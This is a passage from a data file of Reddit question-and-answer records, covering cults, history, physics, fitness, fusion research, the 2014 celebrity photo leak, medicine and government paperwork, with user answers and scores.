it)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://what-if.xkcd.com/116/"], [], [], [], []]}
{"q_id": "rfyuj", "title": "how can cults like aum shinrikyo be able to perform such obviously insane and violent acts?  wouldn't the members reach a point where they'd want to refuse to murder or kidnap people?", "selftext": "I was reading the Wikipedia entry - _URL_0_ - and besides releasing sarin gas into the Japanese subway system, they also microwaved a cultist's brother and murdered an entire family, including a baby.  \n\nI don't get it.  How in the world could a cult that started based on Hindu and Buddhism reach that point?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rfyuj/how_can_cults_like_aum_shinrikyo_be_able_to/", "answers": {"a_id": ["c45ibks", "c45iq8l", "c45m061"], "score": [2, 11, 2], "text": ["How in the world could a country founded on Christian nationalism get to the point of waging war against Europe and building concentration camps?\n\nHow in the world could a country with (at the time) exclusively Christian leadership drop atomic bombs on civilians?\n\nHistory is filled with examples of people, groups and nations who started from a wholesome ideal and slowly turned to the point of committing terrible acts because they believed it was the right thing to do in the context. In the case of cults, this context is usually provided chapter and verse by the cult leader(s), and almost always couched in some supposed government or social threat to the cult's religious views.\n\nShoko Asahara is now known to have been a pretty remarkable conspiracy nut, who was convinced a variety of groups were out to get him.", "There are a few factors at play.\n\nFirst, you don't start making flat-out crazy requests, you start with a few reasonable requests here and there to establish a bit of space in the group's heads.  Each time your request goes just a little bit further than the last, but never so far that it seems unreasonable compared to the one before it.  Sales are a great example of how this works; you just bought a TV, you might as well get some Monster cables to go with it, but you should plug those cables into this surge protector we sell, and don't forget the extended warranty too!  You're more likely to agree to the extra things because they don't seem unreasonable, considering you've already bought the TV.\n\nSecond, cults tend to work because of isolation.  You've already agreed to a bunch of other minor requests, so what could possibly go wrong with moving into the compound?  When we're somewhere unfamiliar we look to other people, specifically those who seem to know what they're doing, to know how we're supposed to act.  Suddenly the only people you can determine the correct course of action from are other members, and they're all looking at you too.  The only person who seems to know what's going on is the leader so his/her example is believed to be correct.  After all, nobody's jumping up and shouting \"hey, this is crazy!\", so people shut out that inner voice that says \"danger!\" because they see no one else act on it.  (You might find the [bystander effect](_URL_0_) an interesting read.)\n\nFinally, they try to create a sense of belonging and solidarity through their rituals.  Not only are these suddenly a bunch of people you look to when you're lost, they're now your family as well.  They're the people who reinforce everything you believe in and tell you the rest of the world is wrong when you start to doubt.\n\nIf you want to see all these factors at work, sit through a timeshare presentation sometime.  I'm not joking either, they are set up to trigger every instinct that bypasses common sense and turn an otherwise sensible person into a believer.", "There was a movie last year called Martha Marcy May Marlene--I suggest you watch it, it's a pretty good idea of how cults go from seemingly innocent when one first joins to utterly horrid at the core."]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Aum_Shinrikyo"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Bystander_effect"], []]}
{"q_id": "znozy", "title": "why is john stuart mill considered a utilitarian?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/znozy/eli5_why_is_john_stuart_mill_considered_a/", "answers": {"a_id": ["c66627r", "c666raj", "c66ano6"], "score": [4, 7, 3], "text": ["Because he held utilitarian metaethical views?\n\nI don't understand the question here. Why would he *not* be considered a utilitarian?", "Probably because he wrote a book called 'Utilitarianism' which was a defence of Utilitarian principles. \n\nNo offence, but it's a bit like asking why Marx is considered a Marxist. \n\nBut to help you out, here's the wiki link for the book: _URL_0_", "Perhaps because John Stuart Mill pioneered the ethical practice of Utilitarianism, and quite literally wrote the book on the subject."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Utilitarianism_%28book%29"], []]}
{"q_id": "3dtfjb", "title": "On JFK's assassination, Malcolm X said, \"[He] never foresaw that the chickens would come home to roost so soon\u201d - What did he mean?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3dtfjb/on_jfks_assassination_malcolm_x_said_he_never/", "answers": {"a_id": ["ct8hedm"], "score": [36], "text": ["I can't get the original NYT article as it's behind a paywall, but I don't think it's hugely necessary as you have the gist of it in your title. \n\nHere's [a video of Malcolm X](_URL_0_) responding to the story some time later, and I've typed out a quick transcript below.\n\n > **Interviewer:** Malcolm X, you were involved in a controversy some months ago with your leader, is that over with?\n**Malcolm X:** Well uh, I've been silent for the past ninety days, because of, uh, some statements I made concerning the President of the United States, which were distorted-\n**Interviewer:** They were distorted?\n**Malcolm X:** Yes, they- \n**Interviewer:** what did you say Malcolm?\n**Malcolm X:** Well I said the same thing that everybody said. That uh, his assassination was the result of the climate of hate, only I said, that the chickens came home to roost, which means the same thing. A climate of hate means that this is the result of something. And when I said chickens coming home to roost, I said the same thing.\n**Interviewer:** You did not say that you were glad that the President was killed?\n**Malcolm X:** No, that's what the press said. What would I look like saying I'm glad the President was killed?\n\nSo essentially what Malcolm is saying is that JFK had helped to create the 'climate of hate' that led to his death. One article I saw suggested that this would be evidenced by the Vietnam War and the coup d'etat against Ngo Dinh Diem that was orchestrated by the CIA. Kennedy had never meant for Ngo Dinh Diem to die, but the consequence of the coup was just that. Diem was killed on 2 Nov 1963, and Kennedy 20 days later, on the 22nd. I wouldn't suggest that there was any connection between the two deaths, but Malcolm X was later against the Vietnam War, and I would think he was anti-American involvement in the coup d'etat in South Vietnam."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?t=80&amp;v=SzuOOshpddM"]]}
{"q_id": "1a4xsh", "title": "Thinking about teaching history, but don't know the process for qualifications. Can anyone here give me some advice?", "selftext": "I'm a freshman in undergraduate school on track to earn a bachelors in political science and history. I've had internships teaching in middle schools and loved it, but I'd like to teach at a higher level. What is required to teach at a high school level? College? What is the process for earning a Master's in education and/or a PhD in History?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1a4xsh/thinking_about_teaching_history_but_dont_know_the/", "answers": {"a_id": ["c8ucn2n"], "score": [2], "text": ["Basically, in order to teach at the high school or middle school level, you have to get a teaching license.  The specific requirements to get this are different in every state (I'm assuming you are from the USA).  I'll try and make this a general explanation, so you have some idea of what is out there:\n\nThe traditional way to get a teaching license is, obviously, to get an undergraduate degree in social studies education.  This means you learn social studies content AND teaching pedagogy at the same time.  Another way I've heard about people getting qualified is completing a bachelor's in history and then getting another bachelor's in education.  I think this is most common when people decide to become teachers after many years of being in another field.\n\nAnother way would be to enter a MEd-Initial Licensure program (they have many names for these programs but you're looking for something that leads to a teaching license), which are offered at many schools.  These are usually 2-3 year programs.  In these programs, you generally take all the education classes and THEN start teaching.  So they are almost like an addition to your bachelors degree.  Once you finish taking classes, you'll take the licensure tests that you need to take.  Once you pass these, you'll be a licensed teacher in middle school or high school.  The drawback to this method is cost.  You might be able to find scholarships, but you will probably still have to pay your way through school and find your own room and board.  Another con that I've heard from people OUTSIDE the education system is that teachers who have masters degrees but no experience are overqualified.  This may be true in some areas but not in others.  Where I live, I haven't heard a single person mention over-qualification.  To be safe, check EVERY school's placement rates.\n\nThere are lots of alternative ways to get licensure.  Teach for America is one high-profile way.  You apply for this program, and if you make it, you teach in a high needs school for two years.  You are given summer training and then you are put in a classroom immediately.  They provide ongoing training and support.  As far as I know, many (or maybe all) TFA programs lead to licensure and a Master's.  I am not as familiar with TFA; sorry if there are any errors.  You can do your own research about the program.\n_URL_0_\n_URL_7_\n\nMany states have alternative licensure programs, residency programs, and/or fellows programs that are similar to Teach for America.  You might take classes at a local university during the summer.  Then you are given a classroom in a high needs area, and you start teaching.  Additionally, these programs often offer free room and board and pay for some or all of the tuition.  Frequently, you are contracted with the school district for a certain number of years upon completion of your degree, which assures that you have a job placement when you graduate.  Pros: This is often cheaper and faster.  You start teaching immediately and often you get paid a full-time teachers salary and receive benefits.  Cons: Alternative Licensure and TFA both are \"sink or swim\" methods of teaching.  You are given a little training and then you are expected to teach at a high level in some of the most challenging districts in the country.  Don't make this decision lightly.  One of the biggest complaints about TFA is the high rate of teacher burnout.  It takes a special and determined person to teach in these areas.  That being said, it can also be incredibly rewarding, an impressive resume builder, and really really good experience.\n\nNext, there are a few teacher apprenticeship programs.  As far as I can tell, this is a fairly new development in teacher education, and there are only a few of these programs around the country.  You might apply for these and then begin by shadowing a teacher.  Over time, you are given more responsibilities in the classroom until you take over a classroom completely.  This method sounds very intriguing to me.  If there are programs near you, you might want to check them out.  \n\nFinally, in some states, you don't even need to get an education degree.  In these states, if you can pass the licensing test, then you can get a license and apply for teaching positions.  The catch is that you have to be rated as an effective teacher for several years, which isn't as easy as it sounds. \n\nTo teach at the college level, you usually need a PhD.  There is a lot more information about this from people who know what they are taking about in the AskHistorians FAQs. _URL_6_\n\nAdditional resources (this is not an exhaustive list; there are tons of organizations out there.  You just have to find them):\n_URL_9_\n_URL_8_\n_URL_2_\n_URL_1_\n_URL_5_\n_URL_4_\n_URL_3_\n\nHopefully, this post will be a springboard, so you can find a program that is best for you.  Good luck!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.teachforamerica.org/", "http://chicagoteachingfellows.ttrack.org/Home.aspx", "http://www.mtmary.edu/uefp.htm", "http://www.newtonteacherresidency.org/", "http://matcheducation.org/mtr", "http://www.bostonteacherresidency.org/", "http://www.reddit.com/r/AskHistorians/wiki/theory", "http://en.wikipedia.org/wiki/Teach_For_America", "http://www.utrunited.org/", "http://www.teach-now.org/"]]}
{"q_id": "vsq1w", "title": "I was curious if the moon's orbit could be significantly changed by the impact of a large comet or Asteroid?  If it was changed what could the effects on earth be?", "selftext": "I can only find speculation on random forums, but I trust Reddit more so thought I would ask here.  Thanks.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vsq1w/i_was_curious_if_the_moons_orbit_could_be/", "answers": {"a_id": ["c57d5nr"], "score": [5], "text": ["The result of these kind of collisions will always be hugely dependent on the speeds and angles involved. There's no exact formula to plug in numbers that'll tell you what will happen. The best you could do is run some simulations and then get different results depending on how you rig up your simulation.\n\nBut what we can at least do is get a sense of scales and then maybe get an idea what kind of results are totally out of the question. Wikipedia claims that [Hale-Bopp](_URL_0_) is the largest known comet to come inside the orbit of Saturn, and gives it a mass of 1.3e16 kg. Moon has a mass of 7.3e22 kg. So we have 2e-7 difference here.\n\nThe orbital speed of Moon is about 1 km/s. Assuming a head on collision with a relative speed of 100 km/s (probably way more than is likely), and assuming the collision is completely inelastic (which it certainly won't be), the Moon's orbital velocity will be changed by 2e-7*100=2e-5 or 0.002% or 2cm/s. In other words by hardly anything at all and this certainly wouldn't knock the Moon out of orbit or even have any noticeable effect on tides.\n\nSo a comet of reasonable size absolutely won't knock the Moon out of the orbit or send it (the whole of it) on a collision course with Earth. However, what happens to all the rubble that come out of the collision is another matter and some of that could maybe hit Earth.\n\n(Edit: fixed some numbers)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Comet_Hale%E2%80%93Bopp"]]}
{"q_id": "5nyqs5", "title": "when did abs become so fashionable, and why?", "selftext": "If you watch Tarzan and gladiator movies from before the 1980s, you almost never see defined abs on the male leads, even if they're otherwise muscular. I googled to see if I could find any exceptions, and instead found photos of bodybuilders from the 1950s who didn't even have defined abs. \n\nSo, when did defining those specific muscles suddenly become fashionable, and why? Or if it is less a case of defining the muscle and more a case of reducing body fat, why was that so less common in the past?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5nyqs5/eli5_when_did_abs_become_so_fashionable_and_why/", "answers": {"a_id": ["dcfa1te", "dcfbwaw"], "score": [4, 6], "text": ["It's entirely a matter of reducing body fat, for visible defined abs when they are relaxed you need to be at [7% body fat](_URL_0_). It requires hard constant work, and it was difficult even for actors in the past to achieve that level. Now thanks to better knowledge of diet and to examples seen on TV many more people obtain the highly coveted six pack. Schwarzenegger reported that the muscle definition of Bruce Lee was one of his inspirations.", "My theory is that standards of beauty always correspond to physical attributes that are rare or hard to acquire.\n\nBack when everyone was out working fields all day long, being a bit plump and quite pale was fashionable. The opposite of what the default lifestyle led you towards. It took a lot of effort, rare genetics, or a lot of power, to look like that. \n\nNow it's the opposite. Especially since the 70s/80s with the rise of widespread automation and such, the default lifestyle (in the West, at least) involves sitting or lying down almost all day, every day. This means that, by default, most people get plump or fat. \n\nSo now that it's hard to be lean, leanness is what is prized. For men, the hardest part to get lean is the stomach and chest, hence the fashion of sculpted abs and chests (leanness is more important than muscularity, as it's easier to put on muscle and fat with a surplus of food). For women, it's butt and thighs, hence the fashion of muscular butts and the thigh gap.\n\nNothing worth having comes easy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.tasteaholics.com/wp-content/uploads/2015/10/Body-Fat-Percentage.jpg"], []]}
{"q_id": "9mcq61", "title": "Why is the ITER Tokomak project taking so long to produce results? (Wiki: \"Initial plasma experiments are scheduled to begin in 2025, with full deuterium\u2013tritium fusion experiments starting in 2035.\")", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9mcq61/why_is_the_iter_tokomak_project_taking_so_long_to/", "answers": {"a_id": ["e7e30fh"], "score": [119], "text": ["It is one of the most complex machines ever built. Basically every component there has been developed specifically for ITER and there is a huge number of them. The tools to build them have to be developed. The parts have to be built - often one by one. Everything has to be tested, first in isolation and then as part of larger subsystems, and then the subsystems together, and so on. If something doesn't work the scientists have to find the reason and fix it. Even it works you have to analyze the data from tests to verify that everything works. All that takes years.\n\nIf no further delays come up until 2025 the scientists might be confident that they can create a first plasma by then. Probably with a low number of particles and at a low temperature. Probably with helium instead of hydrogen as that is easier. Then they will look at the results from that - is everything still as expected? Probably some machine parameters need adjustment. Then you have to test the new parameters. Probably over multiple iterations. After a while the machine is understood well enough to use normal hydrogen. Then deuterium. Then deuterium at slowly increasing density and temperature. And so on.\n\nMost of ITER's goals can be achieved with deuterium alone. The plasma physics is basically the same for pure deuterium and a deuterium/tritium mix. The latter makes the reactor walls radioactive, once they start using tritium it will be difficult to change something inside the reactor. Therefore this will be done only after years of tests with deuterium, once they are sure the reactor can stay as it is and once the tests that don't need tritium are largely done.\n\nI'm not working on fusion but the concept is very similar for particle accelerators and detectors where I see that process live. The LHC had first beams 10 years ago. It still didn't reach its full design energy (although it is close: ~7% below it since 2015). The collision rate is now twice the design value but the machine needed years to get there. The next upgrade phase will start in a few weeks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2fakix", "title": "exactly how screwed is the hacker/leaker of the nude celebrity pics?", "selftext": "If he gets caught, what kind of jail time will they receive? Any chance he could get away? What kind of evidence would they be able to collect?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fakix/eli5_exactly_how_screwed_is_the_hackerleaker_of/", "answers": {"a_id": ["ck7f10q", "ck7f2d2", "ck7g57j", "ck7g77h", "ck7kq4c", "ck7kupi", "ck7mnu6"], "score": [24, 56, 6, 15, 6, 105, 4], "text": ["Depends if Apple press charges which they will surely do. The celebrities sure can press charges (and succeed where a normal human being wouldn't because rich and famous privileges) but in the end it's Apple that's been broken in.\n\nIt's like ... people use your shed to put their tools in. Someone came in your shed and copied their tools. (He didn't stole them per say since it's still there) You never provided insurance to your client, so they can't sue you for having their tool copied but you can sue the guy that broke in your shed.\n\nAnd since it's a piracy crime. Millions in damages and 10 to life jail time because it's seems way worse than killing someone in 2014.\n\n", "The guy that got into Mila Kunis and Scarlet Jo's email and stole their pictures got 10 years. I know what he did was bad, but seriously, 10 years?", "If he gets caught, he is fucked.\n\nBut he won't be. It's really easy to hide your tracks.", "McKayla Maroney says she was under age _URL_0_", "Computer Fraud and Abuse Act - 18 U.S. Code \u00a7 1030 - Fraud and related activity in connection with computers\n\n* (A) **a fine under this title or imprisonment for not more than ten years**, or both, in the case of an offense under subsection (a)(1) of this section which does not occur after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph; and (B) **a fine under this title or imprisonment for not more than twenty years**, or both, in the case of an offense under subsection (a)(1) of this section which occurs after a conviction for another offense under this section, or an attempt to commit an offense punishable under this subparagraph;\n\nSee [this](_URL_0_) for the actual law. The above text is a direct copy/paste, so it'll make more sense when it's read in context. Basically, it depends on the extent of the illegal activity, whether other felonies were committed, etc.", "There is no single person responsible for leaking these pictures. On the deep web there is a site where people can buy and sell original celebrity nudes. In order to gain access to it, you need to contribute a completely original celeb nude, and you're allowed into the site. They all use various different ways to obtain these pictures eg. social engineering, key tracking, or just plain old brute forcing. They use bitcoin to buy and sell these pictures, or they trade them. One of the members of this site decided to post some J law pictures on /b/ and included his BTC address and got a pretty penny from it. This inspired others to post their collections, so now all these people are trying to get others to give them BTC by posting teasing pictures and asking for donations, most of them claiming to be the 'original leaker'.", "Slightly related: Are we, the general public, indeed fucked? From what I understand, this is a whole plethora of charges towards the hacker, but will anyone viewing the pictures be in trouble with the law?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.foxnews.com/entertainment/2014/09/02/alleged-hacked-mckayla-maroney-pics-banned-from-reddit/"], ["http://www.law.cornell.edu/uscode/text/18/1030"], [], []]}
{"q_id": "prtvd", "title": "On average, how much fecal matter do we come in contact with / inhale while in a public restroom.", "selftext": "As stated in title.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/prtvd/on_average_how_much_fecal_matter_do_we_come_in/", "answers": {"a_id": ["c3rqby5"], "score": [2], "text": ["To the best of my knowledge, what we generally use to measure the presence of fecal matter is coliforms.  These are bacteria that are generally found in fecal matter, but are easy to assay for.  You can find an appreciable number of coliforms in all bathrooms, not just public ones.  \n\nThere was a [paper](_URL_0_) out the end of last year that addressed what type of bacteria we find in public bathrooms, and no surprise, fecal associated bacteria were amongst those they found, particularly associated with toilet seats.\n\nThe gist of this all, and something that I remind all new microbiology students of, is that you have an immune system, and unless you are immunocompromised, it generally functions the way it has evolved to.  You come into contact with many pathogens every day, fecal associated or not, and you are none the wiser for it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0028132"]]}
{"q_id": "ab6u18", "title": "Did Japanese suicide attacks in WWII have a precedent in the Russo-Japanese war or the conflicts surrounding the Meiji Restoration? Did allied commanders anticipate the attacks?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ab6u18/did_japanese_suicide_attacks_in_wwii_have_a/", "answers": {"a_id": ["ed00lec", "ecyoyd2"], "score": [5, 23], "text": ["I think it's worth thinking about \"suicide attacks\" on a continuum that begins in the Russo-Japanese War and reaches its most extreme form during WWII.\n\nIt starts with very dangerous attacks (where death is very likely, but not certain or desired) - >  suicidal attacks (opportunistic attacks that result in death or attacks where death is essentially certain, but death is not the objective) - >  suicide attacks (where death is an integral and necessary part of the tactic and even something to be sought for). And Japanese propaganda plays a major role in moving people from one point to the next.\n\nFrom the Russo-Japanese War onwards, the Japanese armed forces start to slide further down this continuum. By the Showa Period and the 1930s and 1940s, suicide becomes a more and more important part of the Japanese military ethos.\n\nThe frontal assaults at Port Arthur, Liaoyang, and other battles involve enormous personal risk to soldiers. After the war, Japanese soldiers become known as *Niku-Dan* (\"human bullets\"), a name drawn from Lieutenant Tadayoshi Sakurai's 1906 war memoir *Nikudan: the record of the battle of Port \nArther.* The phrase \u201cstorming with human bullets\u201d becomes a euphemistic metaphor for the hard, bloody attacks of the war. Major Tachibana Sh\u016bta, is killed leading a frontal charge against Russian machine guns at Liaoyang. He becomes a *gun-shin* - a literally deified war hero. The idea of willingly taking on dangerous missions and risking a heroic self-sacrifice becomes a greater and greater part of Japanese military, and even civilian culture. \n\nAs Eriko Kogo writes:\n\n > magazines and newspapers had published similar images of officers and men being rushed into the enemy position. In those descriptions, many scenes of fierce assault with flesh and blood were honored as loyal and brave activities.\n\nTraditional *Ukiyo-e* woodblock prints seize the image of heroic Japanese soldiers and sailors charging into battle, despite heavy loss of life and limb. You can see some examples below:\n\n_URL_0_\n_URL_1_\n\nHowever intentional suicide in combat or to avoid capture is not encouraged. But as time goes on and the *bushido* ethic and Japanese militaristic nationalism hardens in the 1930s - the ideal and reality of suicidal attacks starts to appear in the Japanese military, often drawing upon the same themes used to glorify Russo-Japanese War heroes.\n\nDuring the Siege of Shanghai in February 1932, three Japanese combat engineers, rushed into Chinese defenses carrying a large explosive charge. Thirty-six of their comrades had to side in previous attacks, entangled in the Chinese barbed wire. Just as the engineers reached the Japanese wire, the charge exploded, instantly killing all three men. Eyewitnesses accounts of the exact nature if the incident only emerged after the war. The three engineers had discovered the explosive charge had too short a fuse the safely use - when they balked about carrying the mine up and placing it in the wire, their commanding officer had bullied them into going. Before the men could plant the bomb and escape, it exploded and killed them. Other accounts (including a post-war interview with Major General Tanaka Ryukichi) suggested that the engineer's commanding officer had cut the fuse too short on accident or that the fuse had been faulty and gone off too early. \n\n", "No.  Suicide attacks were not a thing during this period.  Quite the opposite actually.  One of Meiji\u2019s goals was creating a European style standing army, with European style traditions.  Japanese officers took care of their men, treated their wounded well, took prisoners, treated those prisoners well and surrendered without shame.\n\nIt was not until after this conflict and after the death of Meiji, that Japan\u2019s \u201cwarrior ideal\u201d began to change.  The perception was that the \u201cwhite\u201d nations - particularly America - had betrayed them at the peace table.  Japan had done quite well for itself in the conflict, but their longtime allies forced them to concede nearly all their territorial gains back to Russia.  The belief began to spread amongst the military elite that their \u201cwarrior spirit\u201d was what had given them victory, and the European ways had taken it from them.  The military began to abandon foreign methods in the belief that the fighting spirit of the soldiers shaped by the codes of Bushido were all that were required for victory.\n\nOver time, the codes of Bushido became horribly twisted.  Better to die than to surrender.  Those enemies who had surrendered were less than human.  Pain made you stronger etc.  As the military\u2019s power in government became stronger, these beliefs became more widespread and grew deeper roots.\n\nThere is MUCH more to it, but I believe your question is answered.\n\n\u201cRising Sun and Tumbling Bear\u201d - Richard Connaughton (History of the Russo Japanese War)\n\n\u201cFlyboys\u201d - James Bradley (not super relevant but delves somewhat into the evolution of the Japanese military mindset)\n\n\u201cThe Imperial Cruise, A Secret History of Empire and War\u201d - James Bradley (US and Japanese relations post Russo Japanese War and more of the evolution of the Japanese military mindset)\n\n\u201cEmbracing Defeat\u201d - James W Dower (post WW2 Japan, and shaking off this twisted concept of Bushido)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.japanese-finearts.com/item/item_images/35/1-92-182-03/1-92-182-03_680.jpg", "https://russianculture.wordpress.com/2010/06/17/the-russo-japanese-war-through-the-eyes-of-the-japanese/"], []]}
{"q_id": "63ot2v", "title": "How much energy does it take to accelerate an object?", "selftext": "How much energy would it take for example to accelerate an object from .01c to .015c all other things equal?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/63ot2v/how_much_energy_does_it_take_to_accelerate_an/", "answers": {"a_id": ["dfvy7xk"], "score": [6], "text": ["If all of the energy goes into increasing object's velocity, the energy put in is equal to the change in the object's kinetic energy. The equation for the kinetic energy of an object with mass m is\n\nEk = mc^(2)(1/sqrt(1-(v/c)^(2)) - 1)\n\nFor v much less than c, this is approximated by\n\nEk = (1/2)mv^2\n\nFor your example, you need to calculate the difference between final and initial kinetic energy. You find\n\nEnergy put in \u2248 (.0000625152...)mc^2\n\nIf you use the non-relativistic approximation, you get exactly .0000625mc^(2), which is pretty close to the exact answer since your velocity's small compared to c."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5tn06p", "title": "why doctor's \"kind of writing\" is unreadable?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tn06p/eli5_why_doctors_kind_of_writing_is_unreadable/", "answers": {"a_id": ["ddno679", "ddnqmxv", "ddnshl8", "ddo2yhv"], "score": [19, 13, 3, 3], "text": ["It's probably not anymore unreadable then the next person's. It's just usally scribbled down quickly with the emphasis on speed rather than being neat. That and a prescription is made up mostly of drug names you wouldn't recognize or abbreviations/codes that a layperson might not be familiar with. For example a prescription for antibiotics might read\nAmoxicillin 500 mg 21 caps\nsig tid ac until finished\n\nMeaning the patient is to take amoxicillin in the form of 500 mg capsules three times a day with food until they've taken all of the capsules i.e. for a week.", "During med school, doctors have to take notes basically at the speed that their professors talk. This means they learn to write really fast, sacrificing neatness for speed. It's a habit most never break. \n\nSource: a doctor I worked for once", "Yeah I read somewhere that was takes so long at pharmacies because sometimes they need to call drs and find out what they were trying to write or check doses etc. ", "Am a doctor: it was all about speed.  I remember writing pharmacy renewals on the wards, and my god, that was painful; having to rewrite 20 plus med orders over and over again on different patients.  Or having to preround on 8 patients at 6am, and trying to have your notes done before rounding with your attending at 8am so they could cosign.\n\nI will say though, I had great handwriting (it was emphasized at my institution).  We were often told that \"you aren't saving time if people can't read your orders/notes, you are just wasting someone elses.\"  So it wasn't that big an issue where I trained.  The only thing that suffered was my signature, which became a glorified first and last initial.  \n\nIn this day in age, now that we are all (hopefully) on electronic records (in the US), this shouldn't be a problem.  I can't remember the last time I hand wrote a 'script.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6c6yvf", "title": "When you squint really hard, why do you hear a rushing wind like sound?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6c6yvf/when_you_squint_really_hard_why_do_you_hear_a/", "answers": {"a_id": ["dhsq06h", "dhssfkd"], "score": [60, 41], "text": ["I believe what you are describing is a contraction of the [tensor tympani muscle](_URL_0_). This is a muscle that actually functions to dampen sounds, particularly those produced by other functions of your head, such as chewing.\n\nI am able to contract this muscle voluntarily and create the wind-rushing, or roaring type sound. This also happens when I yawn. When this occurs I generally cannot hear other external sounds, or they are dampened to the point that they are unintelligible. ", "Congrats! You are an ear rumbler. \n\nShort summary:\nYou have the ability to control your tensor tympani muscle, which is used to control your cochlea in response to loud sounds. This creates a rushing, rumbling sound in your ear.  Some people can only do it with eyes closed, some for only a limited time. Some people experience a clicking sound before rumbling. It varies from person to person. I can do it by closing my eyes, opening my mouth wide, or just normally, but for a short time. \n\nIt is a very rare trait. Other ear rumblers can be found at r/earrumblersassemble \n\nWelcome to the club!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Tensor_tympani_muscle"], []]}
{"q_id": "4o4yqx", "title": "why do government forms ask me to fill out information they already have?", "selftext": "For example:\n\nI'm applying for a government student loan and the form asks me to fill out my parents' tax information, which they give the government every year.\n\nSeeing as the information gets checked against government records, wouldn't it just be more efficient and secure to use the information they already have?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4o4yqx/eli5_why_do_government_forms_ask_me_to_fill_out/", "answers": {"a_id": ["d49mur2", "d49opx4", "d49sicf", "d49taci", "d4a30qa"], "score": [29, 3, 4, 3, 3], "text": ["The \"government\" is not one entity. It's a collection of entities that all have their own systems. And due to the slowness to change anything in the government mixed with the slowness of any large entity when it comes to technology, those systems do not always talk to each other. So rather than fix them, they rely on you to pass on that info. It's dumb.", "It's more work for the government to transfer that information from one entity to another than for you to simply repeat it.\n\nDifferent agencies have their own record-keeping systems that are not always shared by default.", "Ok, so there is a few different points, some have been touched on. The government as others have said are separate entities, some are departments, some are agencies, etc. Some are separate, and run as a business off of the revenue they generate, others are funded directly from tax dollars (I am speaking from a Canadian perspective). But, it comes down to, the entire government does not need to have access to every piece of information on a particular individual, and for practical reasons, it is more efficient to only know what information is required. For example, when you have more information, you need to protect that information, and ensure only authorized access to that information is granted. In other words, if we had a central database, it would make a security breech so much worse, but there are certain situations where the exchange of information outweighs the risks. \n\nI'll give some examples, if someone applies for Social Security Disability, there is a lot of protected medical information, now Mr Anderson that is working in taxes and processing this person's yearly return doesn't really need to know all about the applicants medical information, this does not need access (and should not have access), because knowing that tax filer, has a injury/illness does not pertain to their job. However, where we may look at developing a bridge between Taxation and social security is if our applicant is approved for disability benefits, is to actively promote other benefits that the individual may be eligible for (for example there is a disability tax credit that certain individuals may qualify). \n\nAlso, if your parents did not file their taxes, it gives the department a chance to get the required information to go ahead with your application. Also, depending on circumstance, certain information may not be available, even with communication with another department, for example, one department that I know of, if a person declares bankruptcy in a given year, then the income information cannot be obtained electronically/automatically from taxation. Also, it gives a chance to find errors (this happens a lot, elderly couple get their taxes done at a volunteer clinic and a mistake is made (nothing wrong with volunteer clinics, but they are human and make mistakes)\n\nELI5: if every part of the government knew/could access everything about you, one it would be a security nightmare if there was ever a breach.... Sometimes redundancy benefits the citizen (picks up errors), etc. \n", "You are applying for something. You need to demonstrate your worthiness. \n\nThe IRS does not share personal data with the Department of Education. You surrender that information as part of the application process and the IRS is asked to say if it looks right or not.  ", "Data protection and privacy as well.\n\nI don't know how it works in the US but in the UK if you get data for 1 purpose you aren't allowed to use it for another without getting permission. The government's not exempt from that, so just because the Inland Revenue \"knows\" how much you earn and how much tax you pay, they can't just tell the benefits office that. You have to do it yourself."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
